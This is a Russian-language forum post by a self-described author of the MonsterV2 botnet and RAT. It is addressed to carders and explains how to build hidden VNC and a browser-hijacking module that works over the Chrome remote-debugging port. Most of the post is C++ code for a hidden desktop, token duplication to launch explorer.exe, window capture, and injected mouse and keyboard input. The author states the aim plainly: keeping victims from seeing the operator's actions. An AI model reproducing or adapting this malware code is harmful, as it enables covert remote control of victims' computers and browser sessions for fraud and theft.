HVNC и HCDP — двое из ларца для кардеров

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Приветствую! Я создатель ботнета и рата MonsterV2, во время разработки которого мне нужно было реализовать HVNC, а чуть позже и HCDP.

Вообще тема HVNC многим кажется сложной, но по факту трудности в реализации уже были решены в различных белых open source проектах, поэтому мне было необходимо лишь вынести взаимодействие с рабочим столом в виртуальный рабочий стол. Казалос бы, проблемы решены и HVNC был реализован, но тут возникла новая проблема: оказывается, HVNC на многих ботах очень тормозит на кликах и на рендеринге рабочего стола даже в низком качестве; клиенты сообщили мне, что другие продукты с HVNC обеспечивают более высокую скорость, но при этом позволяют управлять только браузерами. Разобравшись в вопросе, я выяснил, что то вовсе не HVNC, а HCDP, который работал не с окнами на рабочем столе Windows, а с браузером, запущенным с флагом --remote-debugging-port, через WebSocket соединение.

В этой статье я хочу на своём опыте и на опыте некоторых open source решений разобраться, в чём техническая разница между этими двумя вещами. Сразу предупреждаю: в статье не будет полноценного проекта, готовому к сборке; я лишь предоставляю примеры ВОЗМОЖНОЙ реализации, чтоб помочь разработчику в их имплементации, но скрипт киддисам, которые на клавиатуре имеют лишь три кнопки — Ctrl, C и V — и мышку, тут ловить нечего.

HVNC
Начнём, пожалуй, с HVNC. Virtual Network Computing (VNC) — это система удалённого доступа к компьютеру, и, как следует из названия, она подразумевает удалённый доступ к компьютеру целиком, а не только к отдельным приложениям. Реализации VNC уже давно в open source, но нам нужно сделать так, чтоб жертва не видели наших действий, благо User32.dll из Windows предоставляет нам специальное API для создания новых рабочих столов: CreateDesktop, OpenDesktop и SetThreadDesktop

C++: Скопировать в буфер обмена
Код:
gHdesk = OpenDesktopA("Hidden", 0, FALSE, GENERIC_ALL);
if (!gHdesk) // If we can't find the desktop, we create one
    gHdesk = CreateDesktopA("Hidden", nullptr, nullptr, 0, GENERIC_ALL, nullptr);

Далее мы можем спокойно вызвать SetThreadDesktop, передав в него только что созданный дескриптор рабочего стола:

C++: Скопировать в буфер обмена
SetThreadDesktop(gHdesk);

Для тестов можно будет использовать функцию SwitchDesktop из той же User32.dll, чтоб посмотреть, как выглядит наш рабочий стол. Сейчас, если мы это сделаем, то увидим чёрный экран, поскольку на рабочем столе нет shell окна explorer.exe. Мы можем его почти без проблем запустить: нужно лишь при создании процесса в структуру STARTUPINFO в поле lpDesktop передать указатель на строку с названием нашего рабочего стола, заканчивающуюся нуль-терминатором. Я сказал почти без проблем, потому что если ваш процесс запущен от админа (elevated), то shell-окно создаваться не будет, а будет запускаться проводник файлов. Чтоб это исправить, нам нужно будет запустить explorer.exe с продублированным токеном текущего shell окна. Пример имплементации лежит в паблике, ищется по ключевому слову RunAsDesktopUser. Для ленивых я приложу исходный код оттуда, но учтите, что вы должны будете получить дескриптор текущего shell окна до вызова функции SetThreadDesktop, иначе GetShellWindow вернёт nullptr, поскольку будет пытаться получить окно, которое в этом рабочем столе не создано.

C++: Скопировать в буфер обмена
Код:
// Definition of the function this sample is all about.
// The szApp, szCmdLine, szCurrDir, si, and pi parameters are passed directly to CreateProcessWithTokenW.
// sErrorInfo returns text describing any error that occurs.
// Returns "true" on success, "false" on any error.
// It is up to the caller to close the HANDLEs returned in the PROCESS_INFORMATION structure.
bool RunAsDesktopUser(
  __in    const wchar_t *       szApp,
  __in    wchar_t *             szCmdLine,
  __in    const wchar_t *       szCurrDir,
  __in    STARTUPINFOW &        si,
  __inout PROCESS_INFORMATION & pi,
  __inout wstringstream &       sErrorInfo)
{
    HANDLE hShellProcess = NULL, hShellProcessToken = NULL, hPrimaryToken = NULL;
    HWND hwnd = NULL;
    DWORD dwPID = 0;
    BOOL ret;
    DWORD dwLastErr;

    // Enable SeIncreaseQuotaPrivilege in this process.  (This won't work if current process is not elevated.)
    HANDLE hProcessToken = NULL;
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hProcessToken))
    {
        dwLastErr = GetLastError();
        sErrorInfo << L"OpenProcessToken failed:  " << SysErrorMessageWithCode(dwLastErr);
        return false;
    }
    else
    {
        TOKEN_PRIVILEGES tkp;
        tkp.PrivilegeCount = 1;
        LookupPrivilegeValueW(NULL, SE_INCREASE_QUOTA_NAME, &tkp.Privileges[0].Luid);
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hProcessToken, FALSE, &tkp, 0, NULL, NULL);
        dwLastErr = GetLastError();
        CloseHandle(hProcessToken);
        if (ERROR_SUCCESS != dwLastErr)
        {
            sErrorInfo << L"AdjustTokenPrivileges failed:  " << SysErrorMessageWithCode(dwLastErr);
            return false;
        }
    }

retry:
    // Get an HWND representing the desktop shell.
    // CAVEATS:  This will fail if the shell is not running (crashed or terminated), or the default shell has been
    // replaced with a custom shell.  This also won't return what you probably want if Explorer has been terminated and
    // restarted elevated.
    hwnd = GetShellWindow();
    if (NULL == hwnd)
    {
        sErrorInfo << L"No desktop shell is present";
        return false;
    }

    // Get the PID of the desktop shell process.
    GetWindowThreadProcessId(hwnd, &dwPID);
    if (0 == dwPID)
    {
        sErrorInfo << L"Unable to get PID of desktop shell.";
        return false;
    }

    // Open the desktop shell process in order to query it (get the token)
    hShellProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwPID);
    if (!hShellProcess)
    {
        dwLastErr = GetLastError();
        sErrorInfo << L"Can't open desktop shell process:  " << SysErrorMessageWithCode(dwLastErr);
        return false;
    }

  // Make sure window and process id are still the same (ie we've opened the right process)
  if(hwnd != GetShellWindow()) {
    CloseHandle(hShellProcess);
    goto retry;
  }
  GetWindowThreadProcessId(hwnd, &dwPID);
  if(dwPID != GetProcessId(hShellProcess)) {
    CloseHandle(hShellProcess);
    goto retry;
  }

    // From this point down, we have handles to close, so make sure to clean up.

    bool retval = false;
    // Get the process token of the desktop shell.
    ret = OpenProcessToken(hShellProcess, TOKEN_DUPLICATE, &hShellProcessToken);
    if (!ret)
    {
        dwLastErr = GetLastError();
        sErrorInfo << L"Can't get process token of desktop shell:  " << SysErrorMessageWithCode(dwLastErr);
        goto cleanup;
    }

    // Duplicate the shell's process token to get a primary token.
    // Based on experimentation, this is the minimal set of rights required for CreateProcessWithTokenW (contrary to current documentation).
    const DWORD dwTokenRights = TOKEN_QUERY | TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID;
    ret = DuplicateTokenEx(hShellProcessToken, dwTokenRights, NULL, SecurityImpersonation, TokenPrimary, &hPrimaryToken);
    if (!ret)
    {
        dwLastErr = GetLastError();
        sErrorInfo << L"Can't get primary token:  " << SysErrorMessageWithCode(dwLastErr);
        goto cleanup;
    }

    // Start the target process with the new token.
    ret = CreateProcessWithTokenW(
        hPrimaryToken,
        0,
        szApp,
        szCmdLine,
        0,
        NULL,
        szCurrDir,
        &si,
        &pi);
    if (!ret)
    {
        dwLastErr = GetLastError();
        sErrorInfo << L"CreateProcessWithTokenW failed:  " << SysErrorMessageWithCode(dwLastErr);
        goto cleanup;
    }

    retval = true;

cleanup:
    // Clean up resources
    CloseHandle(hShellProcessToken);
    CloseHandle(hPrimaryToken);
    CloseHandle(hShellProcess);
    return retval;
}

Запустив explorer.exe, мы увидим привычный нам рабочий стол. Теперь нам нужно сделать его скриншот. Сделать это тоже не так просто, ибо если наш монитор не прикреплён к этому рабочему столу, то мы не сможем получить его координаты. Поэтому нам придётся пройтись по каждому окну в рабочем столе и отрисовать его через PrintWindow. Сразу хочу сказать, что PrintWindow это очень кривая и плохо задокументированная функция: во-первых, её документация врёт и утверждает, что она отправляет в окно сообщение WM_PRINT/WM_PRINTCLIENT, но по факту она отправляет сообщение WM_PAINT; во-вторых, начиная с Windows 8, у этой функции появился новый флаг PW_RENDERFULLCONTENT, который вообще не упоминается в документации и который позволяет нормально рендерить, например, браузер с включенным WebGL без чёрного окна. Вот определение этого флага, если вдруг в вашем Windows SDK его нет:

C++: Скопировать в буфер обмена
Код:
#if(_WIN32_WINNT >= 0x0603)
#define PW_RENDERFULLCONTENT    0x00000002
#endif /* _WIN32_WINNT >= 0x0603 */

Вроде это все нюансы по рендерингу виртуального рабочего стола. Пример реализации сюда кидать не буду, уж его хотя бы потрудитесь найти сами: он есть в исходниках TinyNuke.

Далее нам нужно будет обрабатывать пользовательские события: нажатия клавиш, нажатия и движения мыши. Тут в принципе всё реализуемо посредством чтения документации: где применять клиентские координаты, какие параметры передавать в WPARAM и LPARAM и так далее. Нужное окно, в котором хотим кликнуть, вычисляем через функцию WindowFromPoint:

C++: Скопировать в буфер обмена
Код:
POINT coordinates{x, y};
HWND hwnd = WindowFromPoint(coordinates);

Если нужно преобразовать координаты экрана в клиентские, то используем ScreenToClient:

C++: Скопировать в буфер обмена
Код:
POINT clickCoords{x, y};
ScreenToClient(hwnd, &clickCoords);

LPARAM у нас всегда будет выступать координатами клика мыши в клиентской или экранной области (велком в MSDN за подробностями):

C++: Скопировать в буфер обмена
LPARAM lParam = MAKELPARAM(clickCoords.x, clickCoords.y);

Для обработки колёсика мыши нужно отправить событие WM_MOUSEWHEEL, передав в WPARAM значение delta, которое указывает направление и количество оборотов колёсика:

C++: Скопировать в буфер обмена
Код:
bool hvnc::mouseWheel(float delta, int32_t x, int32_t y) {
    POINT coordinates{x, y};
    HWND hwnd = WindowFromPoint(coordinates);
    if (!hwnd)
        return false;

    LPARAM lParam = MAKELPARAM(x, y);
    WPARAM wParam = MAKEWPARAM(0, delta);
    return PostMessageW(hwnd, WM_MOUSEWHEEL, wParam, lParam);
}

Чтоб получить дельу из события колёсика мыши в браузере, можно применить следующую формулу:

C++: Скопировать в буфер обмена
Код:
const e: WhellEvent = ...;
const deltaValue = e.deltaY * -1.2;

А вот обработка нажатия мышью уже будет поинтереснее: мы сначала через сообщение WM_NCHITTEST узнаём область, куда мы кликнули, проверяем, можем ли мы сами её обработать и, если можем, обрабатываем, а если не можем, то отправляем событие окну аналогично с колёсиком мыши:

C++: Скопировать в буфер обмена
Код:
bool hvnc::mouseClick(int32_t x, int32_t y, bool left, bool up) {
    POINT coordinates{x, y};
    HWND hwnd = WindowFromPoint(coordinates);
    if (!hwnd)
        return false;

    gState.workingWindow = hwnd; // Save active window for input events
    RECT wRect{};
    if (!GetWindowRect(hwnd, &wRect))
        return false;

    int32_t wX = wRect.left;
    int32_t wY = wRect.top;
    int32_t wWidth = wRect.right - wRect.left;
    int32_t wHeight = wRect.bottom - wRect.top;
    POINT clickCoords{x, y};
    ScreenToClient(hwnd, &clickCoords);
    LPARAM lParam = MAKELPARAM(x, y);
    LRESULT clickResult = SendMessageW(hwnd, WM_NCHITTEST, 0, lParam);
    switch (clickResult) {
    case HTCLOSE: {
        if (up && left) {
            PostMessageW(hwnd, WM_CLOSE, 0, 0);
            return PostMessageW(hwnd, WM_DESTROY, 0, 0);
        }
        break;
    }
    case HTTRANSPARENT: {
        if (up && left) {
            LONG style = GetWindowLongA(hwnd, GWL_STYLE);
            SetWindowLongA(hwnd, GWL_STYLE, style | WS_DISABLED);
            return true;
        }
        break;
    }
    case HTTOP:
    case HTBOTTOM:
    case HTLEFT:
    case HTRIGHT:
    case HTTOPLEFT:
    case HTTOPRIGHT:
    case HTBOTTOMLEFT:
    case HTBOTTOMRIGHT:
    case HTGROWBOX:
    case HTCAPTION: {
        // We can handle initialize moving the window
        // by saving window width and height
        if (!up && left) {
            gState.lastCoords = clickCoords;
            gState.lastDimensions = {wWidth, wHeight};
            gState.lastPosition = {wX, wY};
            gState.isMoving = true;
            gState.windowToMove = hwnd;
            gState.moveResult = clickResult;
            return true;
        }
        break;
    }
    case HTHELP: {
        if (up && left)
            return PostMessageW(
                hwnd, WM_SYSCOMMAND, SC_CONTEXTHELP, lParam
            );
        break;
    }
    case HTMINBUTTON: {
        if (up && left)
            return PostMessageW(hwnd, WM_SYSCOMMAND, SC_MINIMIZE, lParam);
        break;
    }
    case HTMAXBUTTON: {
        // Toggle window maximize state
        if (up && left) {
            WINDOWPLACEMENT wp = {sizeof(WINDOWPLACEMENT)};
            if (GetWindowPlacement(hwnd, &wp)) {
                if (wp.showCmd == SW_SHOWMAXIMIZED)
                    wp.showCmd = SW_RESTORE;
                else
                    wp.showCmd = SW_SHOWMAXIMIZED;
                return SetWindowPlacement(hwnd, &wp);
            }
        }
        break;
    }
    }
    LPARAM lParam2 = MAKELPARAM(clickCoords.x, clickCoords.y);
    UINT msg;
    WPARAM param;
    if (left) {
        param = MK_LBUTTON;
        msg = up ? WM_LBUTTONUP : WM_LBUTTONDOWN;
    } else {
        param = MK_RBUTTON;
        msg = up ? WM_RBUTTONUP : WM_RBUTTONDOWN;
    }
    return PostMessageW(hwnd, msg, param, lParam2);
}

При обработке движений мышью, мы, помимо отправке сообщения WM_MOUSEMOVE должны будем также обработать перемещение и ресайзинг окон, в этом нам поможет SetWindowPos:

C++: Скопировать в буфер обмена
Код:
bool hvnc::moveWindow(int32_t x, int32_t y) {
    if (!gState.windowToMove || gState.windowToMove == INVALID_HANDLE_VALUE)
        return false;

    int32_t wX = gState.lastPosition.x;
    int32_t wY = gState.lastPosition.y;
    int32_t width = gState.lastDimensions.x;
    int32_t height = gState.lastDimensions.y;
    POINT clickCoords{x, y};
    ScreenToClient(gState.windowToMove, &clickCoords);
    int32_t moveX = gState.lastCoords.x - clickCoords.x;
    int32_t moveY = gState.lastCoords.y - clickCoords.y;

    UINT flags = 0;
    switch (gState.moveResult) {
        case HTCAPTION: {
            wX -= moveX;
            wY -= moveY;
            flags |= SWP_NOSIZE;
            break;
        }
        case HTTOP: {
            wY -= moveY;
            height += moveY;
            break;
        }
        case HTBOTTOM: {
            height -= moveY;
            flags |= SWP_NOMOVE;
            break;
        }
        case HTLEFT: {
            wX -= moveX;
            width += moveX;
            break;
        }
        case HTRIGHT: {
            width -= moveX;
            flags |= SWP_NOMOVE;
            break;
        }
        case HTTOPLEFT: {
            wY -= moveY;
            height += moveY;
            wX -= moveX;
            width += moveX;
            break;
        }
        case HTTOPRIGHT: {
            wY -= moveY;
            height += moveY;
            width -= moveX;
            break;
        }
        case HTBOTTOMLEFT: {
            height -= moveY;
            wX -= moveX;
            width += moveX;
            break;
        }
        case HTGROWBOX:
        case HTBOTTOMRIGHT: {
            height -= moveY;
            width -= moveX;
            flags |= SWP_NOMOVE;
            break;
        }
        default:
            return false;
    }
    gState.isMoving = false;
    return SetWindowPos(
        gState.windowToMove, HWND_TOP, wX, wY, width, height, flags
    );
}

bool hvnc::mouseMove(int32_t x, int32_t y) {
    if (gState.isMoving) {
        return moveWindow(x, y);
    }
    POINT coordinates{x, y};
    HWND hwnd = WindowFromPoint(coordinates);
    if (!hwnd)
        return false;

    POINT clickCoords{x, y};
    ScreenToClient(hwnd, &clickCoords);
    LPARAM lParam = MAKELPARAM(clickCoords.x, clickCoords.y);

    return PostMessageW(hwnd, WM_MOUSEMOVE, 0, lParam);
}

Если вы хотите отправить большой текст в окно, то вам на помощь придёт событие WM_CHAR:

C++: Скопировать в буфер обмена
Код:
WPARAM code = L'a';
PostMessageW(hwnd, WM_CHAR, code, 0);

Я вам советую преобразовывать приходящие с сервера строки в std::wstring и циклом отправлять по одному символу в окно. А вот обработка клавиш с клавиатуры это довольно больно, поскольку нужно ещё обрабатывать специальные клавиши: Ctrl, Shift, Alt и Win

C++: Скопировать в буфер обмена
Код:
bool hvnc::clearKeyboardState(BYTE previous[256]) {
    previous[VK_SHIFT] = 0;
    previous[VK_LSHIFT] = 0;
    previous[VK_RSHIFT] = 0;
    previous[VK_MENU] = 0;
    previous[VK_LMENU] = 0;
    previous[VK_RMENU] = 0;
    previous[VK_LWIN] = 0;
    previous[VK_RWIN] = 0;
    previous[VK_CONTROL] = 0;
    previous[VK_LCONTROL] = 0;
    previous[VK_RCONTROL] = 0;
    return SetKeyboardState(previous);
}

bool hvnc::sendKey(
    UINT key, bool up, const std::vector<UINT>& specialKeys, HWND hwnd
) {
    if (!hwnd)
        hwnd = gState.workingWindow;
    if (hwnd == INVALID_HANDLE_VALUE || hwnd == nullptr)
        return false;
    LPARAM lParam = 0;
    if (up)
        lParam = static_cast<LPARAM>(
            (MapVirtualKeyW(key, MAPVK_VK_TO_VSC) << 16 | 0xC0000000)
        );
    UINT msg = up ? WM_KEYUP : WM_KEYDOWN;
    BYTE keyBuffer[256]{};
    bool needSpecials = GetKeyboardState(keyBuffer) && !specialKeys.empty();
    DWORD pid = 0;
    GetWindowThreadProcessId(hwnd, &pid);
    std::vector<DWORD> tids = ph::getAllProcessThreads(pid);
    // We need to attach thread input for sharing keyboard state
    for (DWORD tid : tids) {
        AttachThreadInput(GetCurrentThreadId(), tid, TRUE);
    }
    if (needSpecials) {
        for (UINT modKey : specialKeys) {
            if (modKey == VK_MENU) {
                // Alt key requires WM_SYSKEYUP/WM_SYSKEYDOWN events instead of WM_KEYUP/WM_KEYDOWN
                lParam |= 0x20000000;
                msg = up ? WM_SYSKEYUP : WM_SYSKEYDOWN;
            }
            keyBuffer[modKey] |= 128; // Enable this key
        }
        SetKeyboardState(keyBuffer);
    } else {
        /*
        If no special keys are provided,
        we must clear the previous keyboard state
        due to asynchronous messages
        */
        clearKeyboardState(keyBuffer);
    }
    bool ret = PostMessageW(hwnd, msg, key, lParam);
    // No need to share keyboard state anymore. Detaching
    for (DWORD tid : tids) {
        AttachThreadInput(GetCurrentThreadId(), tid, FALSE);
    }
    return ret;
}

Код выше даже поддерживает разные локали, но их переключать нужно будет вручную, сообщая каждому окну о её смене:

C++: Скопировать в буфер обмена
Код:
BOOL CALLBACK hvnc::toogleKeyboardCallback(HWND hwnd, LPARAM lParam) {
    PostMessageW(hwnd, WM_INPUTLANGCHANGEREQUEST, 0, lParam);
    return TRUE;
}

bool hvnc::toogleKeyboardLayout() {
    static HKL current = nullptr;

    int nBuff = GetKeyboardLayoutList(0, nullptr);
    if (nBuff <= 1)
        return false;
    std::vector<HKL> layouts(nBuff);
    const size_t lastIndex = layouts.size() - 1;
    GetKeyboardLayoutList(nBuff, layouts.data());
    for (auto layout : pythonic::enumerate(layouts)) {
        if (!current) {
            current = layout.second;
            return EnumWindows(
                &hvnc::toogleKeyboardCallback, reinterpret_cast<LPARAM>(current)
            );
        }
        if (layout.second == current) {
            const size_t layoutIndex =
                layout.first < lastIndex ? layout.first + 1 : 0;
            current = layouts[layoutIndex];
            return EnumWindows(
                &hvnc::toogleKeyboardCallback, reinterpret_cast<LPARAM>(current)
            );
        }
    }
    return false;
}

И на этом в принципе всё c HVNC. Также следует учесть, что виртуальный рабочий стол не будет функционировать как привычный нам рабочий стол. Во-первых, на его скриншотах вы будете видеть чёрные квадраты вокруг окон и справа внизу, поскольку тени обычно рендерятся процессом dwm.exe, который не подключён к виртальному рабочему столу. Во-вторых, многие горячие клавиши также не будут работать, поскольку другие процессы, отвечающие за их обработку, также не подключены к виртуальному рабочему столу, поэтому вам придётся обрабатывать их нажатия вручную.

HCDP
Этот модуль многие ошибочно называют HVNC, но по факту он не является HVNC, поскольку предоставляет доступ только к браузеру. Работает он следующим образом: запускается браузер с флагом --remote-debugging-port, после чего мы по HTTP запрашиваем список страниц в браузере. GET http://localhost:{DEBUG_PORT}/json, где {DEBUG_PORT} это порт, который мы указали при запуске браузера. Этот запрос нам вернёт много чего интересного, но нас интересуют только страницы (у этих JSON объектов поле type == "page"); берём любую из страниц и подкючаемся к вебсокету, используя как URL поле webSocketDebuggerUrl JSON объекта страницы. GET запрос и парсинг JSON объекта скидывать не буду — и так справитесь.

После успешного websocket соединения, нам нужно будет включить уведомления о событиях страницы:
C++: Скопировать в буфер обмена
Код:
json pageActivate;
pageActivate["id"] = 2;
pageActivate["method"] = "Page.enable";
pageActivate["params"] = {};
ws_->write(asio::buffer(pageActivate.dump()), _ec);

А, кстати, по поводу этих ID, которые мы передаём: нам нужно будет в отдельном потоке обрабатывать входящие уведомления от вебсокета и по этому ID мы сможем отличить, какое из уведомлений пришло именно на наш запрос. А мы переходим к запросу на скриншот:

C++: Скопировать в буфер обмена
Код:
json screenshot;
screenshot["method"] = "Page.captureScreenshot";
screenshot["id"] = SCREENSHOT_ID;
int32_t quality = 100; // 1..100
json args{ {"format", "jpeg"}, {"quality", quality} };
screenshot["params"] = args;
ws_->write(asio::buffer(screenshot.dump()), ec_);

Успешный JSON-ответ на скриншот будет выглядеть примерно так:

JSON: Скопировать в буфер обмена
Код:
{
    "id": SCREENSHOT_ID,
    "result": {
        "data": "Base64-encoded screenshot in JPG format"
    }
}

Далее нас идёт обработка мыши и клавиатуры. Если у вас приложений написано на каком-нибудь Electron, то вам будет проще, поскольку большинство полей, которые передаются в аргументы нужных нам функций, уже будут проинициализированы. Заполнение этих структур на сервере и отправку по сети я оставляю вам в качестве домашнего задания, тем более для панелей все используют разные фреймворки.

C++: Скопировать в буфер обмена
Код:
void dispatchMouseEvent(const HcdpMouseEvent& e) {
    json r;
    r["id"] = 5;
    r["method"] = "Input.dispatchMouseEvent";
    r["params"]["x"] = e.x;
    r["params"]["y"] = e.y;
    r["params"]["modifiers"] = e.modifiers;
    r["params"]["button"] = e.button;
    r["params"]["deltaX"] = e.deltaX;
    r["params"]["deltaY"] = e.deltaY;
    r["params"]["type"] = e.type;
    if (e.type == "mousePressed" || e.type == "mouseReleased") {
        r["params"]["clickCount"] = e.dbclick ? 2 : 1;
    }
    ws_->write(asio::buffer(r.dump()), ec_);
}

void dispatchKeyEvent(const HcdpKeyEvent& e) {
    json r;
    r["id"] = 6;
    r["method"] = "Input.dispatchKeyEvent";
    r["params"]["modifiers"] = e.modifiers;
    r["params"]["type"] = e.type;
    r["params"]["code"] = e.code;
    r["params"]["key"] = e.key;
    bool hasText = false;
    if (e.key.size() == 1) {
        r["params"]["text"] = e.key;
        hasText = true;
    }
    if (e.code == "Enter") {
        r["params"]["text"] = "\r";
        r["params"]["unmodifiedText"] = "\r";
        hasText = true;
    }
    if (e.code == "Tab") {
        r["params"]["text"] = "\t";
        r["params"]["unmodifiedText"] = "\t";
        hasText = true;
    }
    if (e.code == "Space") {
        r["params"]["text"] = " ";
        r["params"]["unmodifiedText"] = " ";
        hasText = true;
    }
    r["params"]["location"] = e.location;
    r["params"]["isKeypad"] = e.isKeypad;
    r["params"]["autoRepeat"] = false;
    r["params"]["windowsVirtualKeyCode"] = e.windowsVirtualKeyCode;
    if (!hasText && e.type == "keyDown") {
        r["params"]["type"] = "rawKeyDown";
    }
    ws_->write(asio::buffer(r.dump()), ec_);
}

Заключение
Спасибо всем, кто дочитал данную статью! Надеюсь, она чем-то сможет вам помочь, и вы теперь сможете отличить HVNC от HCDP. Если вдруг я что-то упустил, то у вас всегда есть подробная документация и куча примеров в интернете, которые помогут вам с вашей проблемой.

Контакты / Contacts
Форумы:
 
Сверху Снизу